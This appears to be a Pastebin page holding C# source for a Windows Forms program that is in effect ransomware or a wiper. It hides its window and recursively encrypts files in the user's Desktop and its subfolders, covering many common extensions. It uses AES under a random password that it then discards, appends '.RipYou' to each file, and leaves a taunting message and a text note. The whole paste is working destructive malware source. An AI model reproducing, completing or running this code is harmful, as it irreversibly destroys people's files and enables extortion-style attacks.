Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Diagnostics;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Security;
- using System.Security.Cryptography;
- using System.IO;
- using System.Net;
- using Microsoft.Win32;
- using System.Runtime.InteropServices;
- using System.Text.RegularExpressions;
- namespace kudag
- {
- public partial class Form1 : Form
- {
- string userName = Environment.UserName;
- string computerName = System.Environment.MachineName.ToString();
- string userDir = "C:\\Users\\";
- public Form1()
- {
- InitializeComponent();
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- Opacity = 0;
- this.ShowInTaskbar = false;
- startAction();
- }
- private void Form_Shown(object sender, EventArgs e)
- {
- Visible = false;
- Opacity = 100;
- }
- public byte[] AES_Encrypt(byte[] kekd, byte[] hmm)
- {
- byte[] notkek = null;
- byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
- using (MemoryStream ms = new MemoryStream())
- {
- using (RijndaelManaged AES = new RijndaelManaged())
- {
- AES.KeySize = 256;
- AES.BlockSize = 128;
- var key = new Rfc2898DeriveBytes(hmm, saltBytes, 1000);
- AES.Key = key.GetBytes(AES.KeySize / 8);
- AES.IV = key.GetBytes(AES.BlockSize / 8);
- AES.Mode = CipherMode.CBC;
- using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
- {
- cs.Write(kekd, 0, kekd.Length);
- cs.Close();
- }
- notkek = ms.ToArray();
- }
- }
- return notkek;
- }
- public string milf(int length)
- {
- const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
- StringBuilder res = new StringBuilder();
- Random rnd = new Random();
- while (0 < length--){
- res.Append(valid[rnd.Next(valid.Length)]);
- }
- return res.ToString();
- }
- public void lels(string file, string password)
- {
- byte[] asd = File.ReadAllBytes(file);
- byte[] pwasd = Encoding.UTF8.GetBytes(password);
- pwasd = SHA256.Create().ComputeHash(pwasd);
- byte[] asd2 = AES_Encrypt(asd, pwasd);
- File.WriteAllBytes(file, asd2);
- System.IO.File.Move(file, file+".RipYou");
- }
- public void hello(string location, string password)
- {
- var validExtensions = new[]
- {
- ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml",".exe", ".psd" ,".wmv", ".avi", ".mp4", ".mp3", ".html", ".bat", ".ink", ".lnk", ".dll", ".bak", ".dat",".ocx"
- };
- string[] files = Directory.GetFiles(location);
- string[] childDirectories = Directory.GetDirectories(location);
- for (int i = 0; i < files.Length; i++){
- string extension = Path.GetExtension(files[i]);
- if (validExtensions.Contains(extension))
- {
- lels(files[i],password);
- }
- }
- for (int i = 0; i < childDirectories.Length; i++){
- hello(childDirectories[i],password);
- }
- }
- public void startAction()
- {
- string password = milf(15);
- string path = "\\Desktop";
- string startPath = userDir + userName + path;
- DirSearch(startPath);
- hello(startPath,password);
- messageCreator();
- password = null;
- System.Windows.Forms.Application.Exit();
- }
- public void DirSearch(string dir)
- {
- try
- {
- string path2;
- foreach (string f in Directory.GetFiles(dir))
- foreach (string d in Directory.GetDirectories(dir))
- {
- path2 = d.ToString();
- string passwords = milf(15);
- hello(path2, passwords);
- DirSearch(d);
- }
- }
- catch (System.Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
- public void messageCreator()
- {
- string path = "\\Desktop\\HelloScrub.txt";
- string fullpath = userDir + userName + path;
- MessageBox.Show("ayy lmao all ur desktop files are shrekt");
- string[] lines = { " Hope you enjoy -Ama" };
- System.IO.File.WriteAllLines(fullpath, lines);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement